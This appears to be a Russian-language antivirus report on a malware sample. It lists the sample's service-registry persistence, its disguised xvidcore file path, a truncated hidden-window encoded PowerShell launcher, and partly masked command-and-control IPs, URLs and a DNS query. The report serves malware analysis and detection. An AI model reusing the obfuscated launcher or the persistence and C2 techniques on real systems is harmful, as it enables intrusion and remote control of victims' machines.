Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\xwreg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xwreg] 'ImagePath' = '"%WINDIR%\SysWOW64\xvidcore\xwreg.exe"'
- 'xwreg' "%WINDIR%\SysWOW64\xvidcore\xwreg.exe"
- 'xwreg' %WINDIR%\SysWOW64\xvidcore\xwreg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABaAGkAMwAwAHcAcQBtAD0AKAAnAFQAegAnACsAKAAnADcAcAAnACsAJwBkACcAKQArACcAcwBuACcAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBTAEUAUgBwAHIAbw...
- %HOMEPATH%\j9myg28\zwvqn08\c2zl3hos.exe
- %WINDIR%\syswow64\xvidcore\xwreg.exe
- %HOMEPATH%\j9myg28\zwvqn08\c2zl3hos.exe в %WINDIR%\syswow64\xvidcore\xwreg.exe
- '38.##.235.242':80
- http://ho###onnect.com/cgi-bin/v3DD/
- http://38.##.235.242/kiFAUm/9prxfN86VAQPQ/cfOmcHWusRS4U9C/ozFWOZq2OY/sx8Ai2W9B5V6Ln5oO/
- DNS ASK ho###onnect.com
- '%HOMEPATH%\j9myg28\zwvqn08\c2zl3hos.exe'
- '%WINDIR%\syswow64\xvidcore\xwreg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABaAGkAMwAwAHcAcQBtAD0AKAAnAFQAegAnACsAKAAnADcAcAAnACsAJwBkACcAKQArACcAcwBuACcAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBTAEUAUgBwAHIAbw...' (со скрытым окном)